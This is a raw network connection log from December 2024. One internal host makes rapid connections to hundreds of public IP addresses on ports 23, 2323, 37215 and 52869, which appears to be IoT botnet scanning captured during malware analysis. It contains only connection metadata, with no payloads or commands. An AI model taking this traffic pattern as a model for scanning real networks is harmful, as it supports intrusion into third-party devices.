Dec 4, 2024 20:34:29.967122078 CET	60019	52869	192.168.2.14	197.143.32.191
Dec 4, 2024 20:34:29.967133045 CET	60019	52869	192.168.2.14	156.254.176.153
Dec 4, 2024 20:34:29.967137098 CET	60019	52869	192.168.2.14	197.234.146.182
Dec 4, 2024 20:34:29.967148066 CET	60019	52869	192.168.2.14	41.194.171.137
Dec 4, 2024 20:34:29.967148066 CET	60019	52869	192.168.2.14	156.245.137.249
Dec 4, 2024 20:34:29.967149019 CET	60019	52869	192.168.2.14	41.137.76.223
Dec 4, 2024 20:34:29.967158079 CET	60019	52869	192.168.2.14	197.148.130.179
Dec 4, 2024 20:34:29.967165947 CET	60019	52869	192.168.2.14	197.171.170.28
Dec 4, 2024 20:34:29.967166901 CET	60019	52869	192.168.2.14	41.139.77.92
Dec 4, 2024 20:34:29.967174053 CET	60019	52869	192.168.2.14	156.174.188.37
Dec 4, 2024 20:34:29.967180967 CET	60019	52869	192.168.2.14	156.4.198.216
Dec 4, 2024 20:34:29.967195034 CET	60019	52869	192.168.2.14	156.27.15.72
Dec 4, 2024 20:34:29.967199087 CET	60019	52869	192.168.2.14	197.242.218.39
Dec 4, 2024 20:34:29.967200041 CET	60019	52869	192.168.2.14	41.175.24.223
Dec 4, 2024 20:34:29.967201948 CET	60019	52869	192.168.2.14	197.106.223.72
Dec 4, 2024 20:34:29.967202902 CET	60019	52869	192.168.2.14	156.27.42.72
Dec 4, 2024 20:34:29.967211008 CET	60019	52869	192.168.2.14	41.149.131.203
Dec 4, 2024 20:34:29.967217922 CET	60019	52869	192.168.2.14	197.241.108.201
Dec 4, 2024 20:34:29.967217922 CET	60019	52869	192.168.2.14	197.199.185.112
Dec 4, 2024 20:34:29.967217922 CET	60019	52869	192.168.2.14	197.172.87.189
Dec 4, 2024 20:34:29.967222929 CET	60019	52869	192.168.2.14	197.86.24.235
Dec 4, 2024 20:34:29.967231989 CET	60019	52869	192.168.2.14	41.153.29.203
Dec 4, 2024 20:34:29.967231989 CET	60019	52869	192.168.2.14	156.135.166.141
Dec 4, 2024 20:34:29.967233896 CET	60019	52869	192.168.2.14	197.63.121.223
Dec 4, 2024 20:34:29.967233896 CET	60019	52869	192.168.2.14	156.61.32.158
Dec 4, 2024 20:34:29.967235088 CET	60019	52869	192.168.2.14	41.107.42.169
Dec 4, 2024 20:34:29.967238903 CET	60019	52869	192.168.2.14	156.144.98.39
Dec 4, 2024 20:34:29.967240095 CET	60019	52869	192.168.2.14	41.68.12.185
Dec 4, 2024 20:34:29.967240095 CET	60019	52869	192.168.2.14	156.58.148.92
Dec 4, 2024 20:34:29.967240095 CET	60019	52869	192.168.2.14	41.75.253.183
Dec 4, 2024 20:34:29.967240095 CET	60019	52869	192.168.2.14	197.64.8.35
Dec 4, 2024 20:34:29.967241049 CET	60019	52869	192.168.2.14	156.95.113.147
Dec 4, 2024 20:34:29.967247963 CET	60019	52869	192.168.2.14	197.125.230.1
Dec 4, 2024 20:34:29.967247963 CET	60019	52869	192.168.2.14	41.75.109.146
Dec 4, 2024 20:34:29.967248917 CET	60019	52869	192.168.2.14	156.229.49.89
Dec 4, 2024 20:34:29.967250109 CET	60019	52869	192.168.2.14	156.235.8.175
Dec 4, 2024 20:34:29.967248917 CET	60019	52869	192.168.2.14	41.15.157.168
Dec 4, 2024 20:34:29.967248917 CET	60019	52869	192.168.2.14	197.237.21.182
Dec 4, 2024 20:34:29.967248917 CET	60019	52869	192.168.2.14	41.48.237.58
Dec 4, 2024 20:34:29.967257023 CET	60019	52869	192.168.2.14	41.92.50.178
Dec 4, 2024 20:34:29.967257023 CET	60019	52869	192.168.2.14	41.135.180.55
Dec 4, 2024 20:34:29.967262030 CET	60019	52869	192.168.2.14	197.19.142.73
Dec 4, 2024 20:34:29.967262983 CET	60019	52869	192.168.2.14	197.189.243.99
Dec 4, 2024 20:34:29.967263937 CET	60019	52869	192.168.2.14	197.80.58.232
Dec 4, 2024 20:34:29.967266083 CET	60019	52869	192.168.2.14	41.101.53.27
Dec 4, 2024 20:34:29.967266083 CET	60019	52869	192.168.2.14	197.95.166.100
Dec 4, 2024 20:34:29.967268944 CET	60019	52869	192.168.2.14	156.165.24.197
Dec 4, 2024 20:34:29.967269897 CET	60019	52869	192.168.2.14	41.127.41.226
Dec 4, 2024 20:34:29.967272043 CET	60019	52869	192.168.2.14	41.48.120.29
Dec 4, 2024 20:34:29.967289925 CET	37826	37215	192.168.2.14	156.239.174.27
Dec 4, 2024 20:34:29.967289925 CET	60019	52869	192.168.2.14	156.173.144.113
Dec 4, 2024 20:34:29.967291117 CET	60019	52869	192.168.2.14	197.93.242.107
Dec 4, 2024 20:34:29.967291117 CET	60019	52869	192.168.2.14	156.144.72.21
Dec 4, 2024 20:34:29.967293978 CET	60019	52869	192.168.2.14	156.77.109.118
Dec 4, 2024 20:34:29.967298985 CET	60019	52869	192.168.2.14	156.147.58.243
Dec 4, 2024 20:34:29.967300892 CET	60019	52869	192.168.2.14	156.82.75.36
Dec 4, 2024 20:34:29.967302084 CET	60019	52869	192.168.2.14	156.169.126.151
Dec 4, 2024 20:34:29.967302084 CET	60019	52869	192.168.2.14	156.168.124.35
Dec 4, 2024 20:34:29.967302084 CET	60019	52869	192.168.2.14	156.125.239.144
Dec 4, 2024 20:34:29.967322111 CET	60019	52869	192.168.2.14	197.60.82.55
Dec 4, 2024 20:34:29.967322111 CET	60019	52869	192.168.2.14	197.136.65.164
Dec 4, 2024 20:34:29.967323065 CET	60019	52869	192.168.2.14	156.127.193.75
Dec 4, 2024 20:34:29.967333078 CET	60019	52869	192.168.2.14	197.54.54.48
Dec 4, 2024 20:34:29.967334032 CET	60019	52869	192.168.2.14	156.51.18.15
Dec 4, 2024 20:34:29.967335939 CET	60019	52869	192.168.2.14	156.165.42.27
Dec 4, 2024 20:34:29.967335939 CET	60019	52869	192.168.2.14	197.40.155.43
Dec 4, 2024 20:34:29.967341900 CET	60019	52869	192.168.2.14	197.26.233.225
Dec 4, 2024 20:34:29.967345953 CET	60019	52869	192.168.2.14	156.151.57.120
Dec 4, 2024 20:34:29.967346907 CET	60019	52869	192.168.2.14	41.126.140.78
Dec 4, 2024 20:34:29.967360973 CET	60019	52869	192.168.2.14	41.255.11.251
Dec 4, 2024 20:34:29.967363119 CET	60019	52869	192.168.2.14	197.207.74.223
Dec 4, 2024 20:34:29.967366934 CET	60019	52869	192.168.2.14	156.78.204.250
Dec 4, 2024 20:34:29.967371941 CET	60019	52869	192.168.2.14	197.210.50.33
Dec 4, 2024 20:34:29.967377901 CET	60019	52869	192.168.2.14	156.160.93.122
Dec 4, 2024 20:34:29.967377901 CET	60019	52869	192.168.2.14	156.24.45.247
Dec 4, 2024 20:34:29.967377901 CET	60019	52869	192.168.2.14	197.221.207.80
Dec 4, 2024 20:34:29.967382908 CET	60019	52869	192.168.2.14	41.120.223.233
Dec 4, 2024 20:34:29.967384100 CET	60019	52869	192.168.2.14	41.198.82.237
Dec 4, 2024 20:34:29.967389107 CET	60019	52869	192.168.2.14	156.253.73.60
Dec 4, 2024 20:34:29.967391014 CET	60019	52869	192.168.2.14	41.174.127.37
Dec 4, 2024 20:34:29.967391014 CET	60019	52869	192.168.2.14	197.87.105.160
Dec 4, 2024 20:34:29.967395067 CET	60019	52869	192.168.2.14	197.211.93.250
Dec 4, 2024 20:34:29.967396975 CET	60019	52869	192.168.2.14	41.206.103.221
Dec 4, 2024 20:34:29.967401028 CET	60019	52869	192.168.2.14	197.3.19.216
Dec 4, 2024 20:34:29.967402935 CET	60019	52869	192.168.2.14	197.36.173.249
Dec 4, 2024 20:34:29.967402935 CET	60019	52869	192.168.2.14	197.254.11.105
Dec 4, 2024 20:34:29.967403889 CET	60019	52869	192.168.2.14	41.16.188.152
Dec 4, 2024 20:34:29.967406034 CET	60019	52869	192.168.2.14	156.58.89.60
Dec 4, 2024 20:34:29.967406034 CET	60019	52869	192.168.2.14	41.195.94.112
Dec 4, 2024 20:34:29.967406034 CET	60019	52869	192.168.2.14	156.138.115.38
Dec 4, 2024 20:34:29.967407942 CET	60019	52869	192.168.2.14	41.190.44.247
Dec 4, 2024 20:34:29.967411995 CET	60019	52869	192.168.2.14	197.170.114.70
Dec 4, 2024 20:34:29.967416048 CET	60019	52869	192.168.2.14	197.125.63.208
Dec 4, 2024 20:34:29.967417955 CET	60019	52869	192.168.2.14	156.169.216.133
Dec 4, 2024 20:34:29.967430115 CET	60019	52869	192.168.2.14	41.246.187.100
Dec 4, 2024 20:34:29.967431068 CET	60019	52869	192.168.2.14	197.109.93.194
Dec 4, 2024 20:34:29.967431068 CET	60019	52869	192.168.2.14	156.120.115.129
Dec 4, 2024 20:34:29.967434883 CET	60019	52869	192.168.2.14	197.98.118.55
Dec 4, 2024 20:34:29.967438936 CET	60019	52869	192.168.2.14	197.55.218.232
Dec 4, 2024 20:34:29.967438936 CET	60019	52869	192.168.2.14	156.218.209.122
Dec 4, 2024 20:34:29.967439890 CET	60019	52869	192.168.2.14	156.108.78.207
Dec 4, 2024 20:34:29.967439890 CET	60019	52869	192.168.2.14	197.98.102.114
Dec 4, 2024 20:34:29.967453003 CET	60019	52869	192.168.2.14	197.86.30.240
Dec 4, 2024 20:34:29.967458010 CET	60019	52869	192.168.2.14	197.117.160.228
Dec 4, 2024 20:34:29.967459917 CET	60019	52869	192.168.2.14	156.132.189.50
Dec 4, 2024 20:34:29.967459917 CET	60019	52869	192.168.2.14	197.89.53.238
Dec 4, 2024 20:34:29.967459917 CET	60019	52869	192.168.2.14	197.228.243.60
Dec 4, 2024 20:34:29.967466116 CET	60019	52869	192.168.2.14	197.140.252.62
Dec 4, 2024 20:34:29.967467070 CET	60019	52869	192.168.2.14	197.188.5.234
Dec 4, 2024 20:34:29.967468977 CET	60019	52869	192.168.2.14	41.154.126.190
Dec 4, 2024 20:34:29.967468977 CET	60019	52869	192.168.2.14	197.224.198.195
Dec 4, 2024 20:34:29.967468977 CET	60019	52869	192.168.2.14	156.195.173.39
Dec 4, 2024 20:34:29.967472076 CET	60019	52869	192.168.2.14	41.244.29.96
Dec 4, 2024 20:34:29.967483997 CET	60019	52869	192.168.2.14	197.99.183.124
Dec 4, 2024 20:34:29.967495918 CET	60019	52869	192.168.2.14	156.224.188.204
Dec 4, 2024 20:34:29.967503071 CET	60019	52869	192.168.2.14	156.243.74.107
Dec 4, 2024 20:34:29.967504025 CET	60019	52869	192.168.2.14	156.27.18.87
Dec 4, 2024 20:34:29.967504978 CET	60019	52869	192.168.2.14	41.144.243.228
Dec 4, 2024 20:34:29.967505932 CET	60019	52869	192.168.2.14	197.160.105.116
Dec 4, 2024 20:34:29.967508078 CET	60019	52869	192.168.2.14	197.166.7.35
Dec 4, 2024 20:34:29.967508078 CET	60019	52869	192.168.2.14	156.195.194.175
Dec 4, 2024 20:34:29.967510939 CET	60019	52869	192.168.2.14	197.190.237.231
Dec 4, 2024 20:34:29.967510939 CET	60019	52869	192.168.2.14	41.176.96.3
Dec 4, 2024 20:34:29.967513084 CET	60019	52869	192.168.2.14	197.194.161.205
Dec 4, 2024 20:34:29.967514038 CET	60019	52869	192.168.2.14	156.106.42.169
Dec 4, 2024 20:34:29.967514038 CET	60019	52869	192.168.2.14	156.121.69.144
Dec 4, 2024 20:34:29.967515945 CET	60019	52869	192.168.2.14	197.80.201.157
Dec 4, 2024 20:34:29.967516899 CET	60019	52869	192.168.2.14	156.214.222.177
Dec 4, 2024 20:34:29.967516899 CET	60019	52869	192.168.2.14	41.62.135.250
Dec 4, 2024 20:34:29.967520952 CET	60019	52869	192.168.2.14	197.113.70.22
Dec 4, 2024 20:34:29.967525005 CET	60019	52869	192.168.2.14	41.166.121.22
Dec 4, 2024 20:34:29.967938900 CET	43772	52869	192.168.2.14	156.48.242.95
Dec 4, 2024 20:34:29.968561888 CET	60542	52869	192.168.2.14	41.117.90.30
Dec 4, 2024 20:34:29.969206095 CET	42220	52869	192.168.2.14	197.245.120.181
Dec 4, 2024 20:34:29.969662905 CET	51350	52869	192.168.2.14	156.59.66.240
Dec 4, 2024 20:34:29.969662905 CET	51350	52869	192.168.2.14	156.59.66.240
Dec 4, 2024 20:34:29.969945908 CET	52148	52869	192.168.2.14	156.59.66.240
Dec 4, 2024 20:34:29.970309019 CET	52720	52869	192.168.2.14	41.217.152.38
Dec 4, 2024 20:34:29.970309019 CET	52720	52869	192.168.2.14	41.217.152.38
Dec 4, 2024 20:34:29.970601082 CET	53508	52869	192.168.2.14	41.217.152.38
Dec 4, 2024 20:34:29.974585056 CET	40570	37215	192.168.2.14	41.43.4.149
Dec 4, 2024 20:34:29.974585056 CET	46300	52869	192.168.2.14	197.57.17.249
Dec 4, 2024 20:34:29.974586964 CET	53988	52869	192.168.2.14	156.33.126.151
Dec 4, 2024 20:34:29.974589109 CET	51556	37215	192.168.2.14	41.165.7.20
Dec 4, 2024 20:34:29.974586964 CET	51330	37215	192.168.2.14	41.53.67.33
Dec 4, 2024 20:34:29.974591970 CET	50108	52869	192.168.2.14	156.169.0.109
Dec 4, 2024 20:34:29.974595070 CET	37258	37215	192.168.2.14	156.154.217.250
Dec 4, 2024 20:34:29.974601984 CET	36554	37215	192.168.2.14	156.126.215.134
Dec 4, 2024 20:34:29.990611076 CET	23	32796	96.47.36.112	192.168.2.14
Dec 4, 2024 20:34:29.991113901 CET	23	32806	96.47.36.112	192.168.2.14
Dec 4, 2024 20:34:29.991168022 CET	32806	23	192.168.2.14	96.47.36.112
Dec 4, 2024 20:34:29.991611004 CET	2323	60787	88.132.49.7	192.168.2.14
Dec 4, 2024 20:34:29.991628885 CET	23	60787	136.36.88.181	192.168.2.14
Dec 4, 2024 20:34:29.991652012 CET	60787	23	192.168.2.14	136.36.88.181
Dec 4, 2024 20:34:29.991657019 CET	60787	2323	192.168.2.14	88.132.49.7
Dec 4, 2024 20:34:29.992572069 CET	23	57274	144.88.5.55	192.168.2.14
Dec 4, 2024 20:34:29.992644072 CET	57274	23	192.168.2.14	144.88.5.55
Dec 4, 2024 20:34:29.992691040 CET	2323	39186	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:29.992904902 CET	23	55608	37.98.81.13	192.168.2.14
Dec 4, 2024 20:34:29.993009090 CET	57634	23	192.168.2.14	144.88.5.55
Dec 4, 2024 20:34:29.993379116 CET	55608	23	192.168.2.14	37.98.81.13
Dec 4, 2024 20:34:29.993654013 CET	55974	23	192.168.2.14	37.98.81.13
Dec 4, 2024 20:34:29.994012117 CET	39186	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:29.994307041 CET	39552	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:30.006587029 CET	35074	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:30.006594896 CET	49524	23	192.168.2.14	74.195.113.28
Dec 4, 2024 20:34:30.022970915 CET	37215	60275	156.24.242.132	192.168.2.14
Dec 4, 2024 20:34:30.022983074 CET	37215	60275	197.81.80.221	192.168.2.14
Dec 4, 2024 20:34:30.023030996 CET	60275	37215	192.168.2.14	156.24.242.132
Dec 4, 2024 20:34:30.023039103 CET	60275	37215	192.168.2.14	197.81.80.221
Dec 4, 2024 20:34:30.023355007 CET	37215	60275	156.66.149.192	192.168.2.14
Dec 4, 2024 20:34:30.023577929 CET	60275	37215	192.168.2.14	156.66.149.192
Dec 4, 2024 20:34:30.023771048 CET	37215	53292	41.16.199.204	192.168.2.14
Dec 4, 2024 20:34:30.024844885 CET	37215	51564	156.151.128.175	192.168.2.14
Dec 4, 2024 20:34:30.025063992 CET	37215	34774	41.181.147.225	192.168.2.14
Dec 4, 2024 20:34:30.025511980 CET	37215	44568	156.165.42.93	192.168.2.14
Dec 4, 2024 20:34:30.026179075 CET	37215	46408	197.42.34.155	192.168.2.14
Dec 4, 2024 20:34:30.026751995 CET	37215	51074	156.252.138.242	192.168.2.14
Dec 4, 2024 20:34:30.027380943 CET	37215	33830	156.91.219.93	192.168.2.14
Dec 4, 2024 20:34:30.027935982 CET	37215	55010	156.52.39.116	192.168.2.14
Dec 4, 2024 20:34:30.028461933 CET	37215	38940	197.5.204.6	192.168.2.14
Dec 4, 2024 20:34:30.028909922 CET	37215	53292	41.16.199.204	192.168.2.14
Dec 4, 2024 20:34:30.029016018 CET	37215	55360	41.17.85.83	192.168.2.14
Dec 4, 2024 20:34:30.029081106 CET	37215	51564	156.151.128.175	192.168.2.14
Dec 4, 2024 20:34:30.029160976 CET	37215	44568	156.165.42.93	192.168.2.14
Dec 4, 2024 20:34:30.029407024 CET	37215	34774	41.181.147.225	192.168.2.14
Dec 4, 2024 20:34:30.029552937 CET	37215	42072	197.115.11.71	192.168.2.14
Dec 4, 2024 20:34:30.029611111 CET	37215	46408	197.42.34.155	192.168.2.14
Dec 4, 2024 20:34:30.029685974 CET	37215	33830	156.91.219.93	192.168.2.14
Dec 4, 2024 20:34:30.029858112 CET	37215	55010	156.52.39.116	192.168.2.14
Dec 4, 2024 20:34:30.030229092 CET	37215	51074	156.252.138.242	192.168.2.14
Dec 4, 2024 20:34:30.030292988 CET	37215	48000	41.3.121.77	192.168.2.14
Dec 4, 2024 20:34:30.030303001 CET	37215	38940	197.5.204.6	192.168.2.14
Dec 4, 2024 20:34:30.030427933 CET	37215	42072	197.115.11.71	192.168.2.14
Dec 4, 2024 20:34:30.030550003 CET	23	35158	40.179.182.146	192.168.2.14
Dec 4, 2024 20:34:30.030641079 CET	35158	23	192.168.2.14	40.179.182.146
Dec 4, 2024 20:34:30.030793905 CET	37215	58026	156.252.133.48	192.168.2.14
Dec 4, 2024 20:34:30.030803919 CET	23	37264	44.177.131.156	192.168.2.14
Dec 4, 2024 20:34:30.031049013 CET	35460	23	192.168.2.14	40.179.182.146
Dec 4, 2024 20:34:30.031074047 CET	23	52922	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:30.031085014 CET	37215	58916	156.252.133.48	192.168.2.14
Dec 4, 2024 20:34:30.031124115 CET	58916	37215	192.168.2.14	156.252.133.48
Dec 4, 2024 20:34:30.031203032 CET	58916	37215	192.168.2.14	156.252.133.48
Dec 4, 2024 20:34:30.031213999 CET	37215	48000	41.3.121.77	192.168.2.14
Dec 4, 2024 20:34:30.031331062 CET	2323	50412	171.161.255.216	192.168.2.14
Dec 4, 2024 20:34:30.031341076 CET	37215	46116	156.90.212.185	192.168.2.14
Dec 4, 2024 20:34:30.031385899 CET	37215	58026	156.252.133.48	192.168.2.14
Dec 4, 2024 20:34:30.031527042 CET	23	55252	216.176.136.67	192.168.2.14
Dec 4, 2024 20:34:30.031613111 CET	23	57392	182.216.226.152	192.168.2.14
Dec 4, 2024 20:34:30.031721115 CET	23	60244	195.88.180.72	192.168.2.14
Dec 4, 2024 20:34:30.031748056 CET	55252	23	192.168.2.14	216.176.136.67
Dec 4, 2024 20:34:30.031793118 CET	35028	37215	192.168.2.14	156.24.242.132
Dec 4, 2024 20:34:30.031946898 CET	23	60306	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:30.031965017 CET	37215	34260	156.182.166.141	192.168.2.14
Dec 4, 2024 20:34:30.032020092 CET	37215	55360	41.17.85.83	192.168.2.14
Dec 4, 2024 20:34:30.032138109 CET	23	34556	84.172.76.218	192.168.2.14
Dec 4, 2024 20:34:30.032238007 CET	23	38900	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:30.032248020 CET	55556	23	192.168.2.14	216.176.136.67
Dec 4, 2024 20:34:30.032426119 CET	23	48736	213.194.145.218	192.168.2.14
Dec 4, 2024 20:34:30.032515049 CET	23	37804	175.54.171.246	192.168.2.14
Dec 4, 2024 20:34:30.032697916 CET	2323	41868	139.203.168.53	192.168.2.14
Dec 4, 2024 20:34:30.032819033 CET	23	58364	82.54.118.213	192.168.2.14
Dec 4, 2024 20:34:30.032921076 CET	23	58338	184.99.73.225	192.168.2.14
Dec 4, 2024 20:34:30.032933950 CET	50412	2323	192.168.2.14	171.161.255.216
Dec 4, 2024 20:34:30.033029079 CET	23	37646	142.8.161.214	192.168.2.14
Dec 4, 2024 20:34:30.033035994 CET	58524	37215	192.168.2.14	197.81.80.221
Dec 4, 2024 20:34:30.033143044 CET	23	33344	99.251.34.246	192.168.2.14
Dec 4, 2024 20:34:30.033276081 CET	23	44246	103.222.238.109	192.168.2.14
Dec 4, 2024 20:34:30.033382893 CET	23	39192	161.193.252.223	192.168.2.14
Dec 4, 2024 20:34:30.033499956 CET	50718	2323	192.168.2.14	171.161.255.216
Dec 4, 2024 20:34:30.033499956 CET	23	59694	36.173.135.124	192.168.2.14
Dec 4, 2024 20:34:30.033602953 CET	23	38644	70.38.173.168	192.168.2.14
Dec 4, 2024 20:34:30.033742905 CET	23	55888	67.215.54.8	192.168.2.14
Dec 4, 2024 20:34:30.033983946 CET	37215	46116	156.90.212.185	192.168.2.14
Dec 4, 2024 20:34:30.034038067 CET	37215	34260	156.182.166.141	192.168.2.14
Dec 4, 2024 20:34:30.034188986 CET	57392	23	192.168.2.14	182.216.226.152
Dec 4, 2024 20:34:30.034251928 CET	23	48090	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:30.034285069 CET	40704	37215	192.168.2.14	156.66.149.192
Dec 4, 2024 20:34:30.034305096 CET	23	35384	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:30.034426928 CET	23	34274	161.204.36.67	192.168.2.14
Dec 4, 2024 20:34:30.034512997 CET	23	34110	164.152.144.218	192.168.2.14
Dec 4, 2024 20:34:30.034573078 CET	48090	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:30.034574986 CET	55888	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:30.034574986 CET	33344	23	192.168.2.14	99.251.34.246
Dec 4, 2024 20:34:30.034574986 CET	34274	23	192.168.2.14	161.204.36.67
Dec 4, 2024 20:34:30.034586906 CET	37646	23	192.168.2.14	142.8.161.214
Dec 4, 2024 20:34:30.034586906 CET	58338	23	192.168.2.14	184.99.73.225
Dec 4, 2024 20:34:30.034590006 CET	41868	2323	192.168.2.14	139.203.168.53
Dec 4, 2024 20:34:30.034590006 CET	39192	23	192.168.2.14	161.193.252.223
Dec 4, 2024 20:34:30.034590960 CET	34110	23	192.168.2.14	164.152.144.218
Dec 4, 2024 20:34:30.034594059 CET	58364	23	192.168.2.14	82.54.118.213
Dec 4, 2024 20:34:30.034594059 CET	59694	23	192.168.2.14	36.173.135.124
Dec 4, 2024 20:34:30.034599066 CET	35384	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:30.034599066 CET	60306	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:30.034600973 CET	44246	23	192.168.2.14	103.222.238.109
Dec 4, 2024 20:34:30.034601927 CET	37804	23	192.168.2.14	175.54.171.246
Dec 4, 2024 20:34:30.034604073 CET	48736	23	192.168.2.14	213.194.145.218
Dec 4, 2024 20:34:30.034604073 CET	38644	23	192.168.2.14	70.38.173.168
Dec 4, 2024 20:34:30.034604073 CET	60244	23	192.168.2.14	195.88.180.72
Dec 4, 2024 20:34:30.034605026 CET	52922	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:30.034604073 CET	37264	23	192.168.2.14	44.177.131.156
Dec 4, 2024 20:34:30.034605026 CET	34556	23	192.168.2.14	84.172.76.218
Dec 4, 2024 20:34:30.034621000 CET	38900	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:30.034631968 CET	23	44412	160.113.182.46	192.168.2.14
Dec 4, 2024 20:34:30.034816980 CET	57698	23	192.168.2.14	182.216.226.152
Dec 4, 2024 20:34:30.034837008 CET	23	49538	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:30.035239935 CET	37264	23	192.168.2.14	44.177.131.156
Dec 4, 2024 20:34:30.035518885 CET	37564	23	192.168.2.14	44.177.131.156
Dec 4, 2024 20:34:30.035890102 CET	52922	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:30.036175013 CET	53222	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:30.036572933 CET	35384	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:30.036859035 CET	35756	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:30.037214041 CET	44412	23	192.168.2.14	160.113.182.46
Dec 4, 2024 20:34:30.037483931 CET	44778	23	192.168.2.14	160.113.182.46
Dec 4, 2024 20:34:30.037834883 CET	39192	23	192.168.2.14	161.193.252.223
Dec 4, 2024 20:34:30.038115978 CET	39554	23	192.168.2.14	161.193.252.223
Dec 4, 2024 20:34:30.038451910 CET	34110	23	192.168.2.14	164.152.144.218
Dec 4, 2024 20:34:30.038570881 CET	49538	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:30.038722992 CET	34472	23	192.168.2.14	164.152.144.218
Dec 4, 2024 20:34:30.039057016 CET	49538	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:30.039345026 CET	49900	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:30.039705992 CET	48090	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:30.039984941 CET	48452	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:30.040342093 CET	38644	23	192.168.2.14	70.38.173.168
Dec 4, 2024 20:34:30.040627956 CET	39004	23	192.168.2.14	70.38.173.168
Dec 4, 2024 20:34:30.040985107 CET	34274	23	192.168.2.14	161.204.36.67
Dec 4, 2024 20:34:30.041261911 CET	34632	23	192.168.2.14	161.204.36.67
Dec 4, 2024 20:34:30.041613102 CET	44246	23	192.168.2.14	103.222.238.109
Dec 4, 2024 20:34:30.041894913 CET	44604	23	192.168.2.14	103.222.238.109
Dec 4, 2024 20:34:30.042262077 CET	41868	2323	192.168.2.14	139.203.168.53
Dec 4, 2024 20:34:30.042532921 CET	42226	2323	192.168.2.14	139.203.168.53
Dec 4, 2024 20:34:30.042882919 CET	37646	23	192.168.2.14	142.8.161.214
Dec 4, 2024 20:34:30.043159008 CET	38004	23	192.168.2.14	142.8.161.214
Dec 4, 2024 20:34:30.043512106 CET	55888	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:30.043795109 CET	56246	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:30.044146061 CET	59694	23	192.168.2.14	36.173.135.124
Dec 4, 2024 20:34:30.044414997 CET	60050	23	192.168.2.14	36.173.135.124
Dec 4, 2024 20:34:30.044790983 CET	37804	23	192.168.2.14	175.54.171.246
Dec 4, 2024 20:34:30.045056105 CET	38160	23	192.168.2.14	175.54.171.246
Dec 4, 2024 20:34:30.045419931 CET	34556	23	192.168.2.14	84.172.76.218
Dec 4, 2024 20:34:30.045676947 CET	34912	23	192.168.2.14	84.172.76.218
Dec 4, 2024 20:34:30.046039104 CET	38900	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:30.046319962 CET	39256	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:30.046684027 CET	33344	23	192.168.2.14	99.251.34.246
Dec 4, 2024 20:34:30.046967030 CET	33700	23	192.168.2.14	99.251.34.246
Dec 4, 2024 20:34:30.047327042 CET	58338	23	192.168.2.14	184.99.73.225
Dec 4, 2024 20:34:30.047591925 CET	58694	23	192.168.2.14	184.99.73.225
Dec 4, 2024 20:34:30.047930956 CET	48736	23	192.168.2.14	213.194.145.218
Dec 4, 2024 20:34:30.048207998 CET	49086	23	192.168.2.14	213.194.145.218
Dec 4, 2024 20:34:30.048588037 CET	60306	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:30.048876047 CET	60654	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:30.049258947 CET	58364	23	192.168.2.14	82.54.118.213
Dec 4, 2024 20:34:30.049561977 CET	58712	23	192.168.2.14	82.54.118.213
Dec 4, 2024 20:34:30.049937963 CET	60244	23	192.168.2.14	195.88.180.72
Dec 4, 2024 20:34:30.050237894 CET	60592	23	192.168.2.14	195.88.180.72
Dec 4, 2024 20:34:30.056411982 CET	37215	56600	156.158.192.228	192.168.2.14
Dec 4, 2024 20:34:30.056422949 CET	37215	57472	156.158.192.228	192.168.2.14
Dec 4, 2024 20:34:30.056494951 CET	57472	37215	192.168.2.14	156.158.192.228
Dec 4, 2024 20:34:30.056524038 CET	57472	37215	192.168.2.14	156.158.192.228
Dec 4, 2024 20:34:30.056772947 CET	37215	33408	156.191.184.73	192.168.2.14
Dec 4, 2024 20:34:30.056929111 CET	37215	34278	156.191.184.73	192.168.2.14
Dec 4, 2024 20:34:30.056977034 CET	34278	37215	192.168.2.14	156.191.184.73
Dec 4, 2024 20:34:30.056999922 CET	34278	37215	192.168.2.14	156.191.184.73
Dec 4, 2024 20:34:30.057013988 CET	37215	32788	41.122.116.38	192.168.2.14
Dec 4, 2024 20:34:30.057049990 CET	32788	37215	192.168.2.14	41.122.116.38
Dec 4, 2024 20:34:30.057132006 CET	37215	35154	197.184.8.180	192.168.2.14
Dec 4, 2024 20:34:30.057466030 CET	37215	56600	156.158.192.228	192.168.2.14
Dec 4, 2024 20:34:30.057611942 CET	37215	35154	197.184.8.180	192.168.2.14
Dec 4, 2024 20:34:30.057652950 CET	37215	32788	41.122.116.38	192.168.2.14
Dec 4, 2024 20:34:30.057764053 CET	37215	32788	41.122.116.38	192.168.2.14
Dec 4, 2024 20:34:30.084455967 CET	23	33644	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:30.084783077 CET	23	33688	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:30.084857941 CET	33688	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:30.085453033 CET	23	59892	101.104.52.186	192.168.2.14
Dec 4, 2024 20:34:30.085861921 CET	23	59936	101.104.52.186	192.168.2.14
